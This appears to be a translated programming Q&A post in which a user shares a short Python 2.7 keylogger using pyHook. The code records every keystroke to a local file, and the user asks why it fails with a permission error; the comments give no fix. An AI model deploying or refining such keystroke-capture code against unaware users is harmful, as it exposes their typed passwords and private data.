【发布时间】:2023-03-07 06:46:01
【问题描述】:
我刚刚用 python 2.7 做了一个键盘记录器,但它不起作用。这是键盘记录器代码:
import pyHook, pythoncom, sys, logging
file_log = 'C:\keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
print "You pressed: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
这是我得到的错误:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "<stdin>", line 2, in OnKeyboardEvent
File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 943, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'
我的python文件夹在这里:
C:\Python27
我怎样才能使键盘记录器工作?
【问题讨论】:
-
修复它。 (如果您需要更多详细信息,请提供更多信息。)
-
你想要什么细节?
标签: python windows python-2.7 cmd keylogger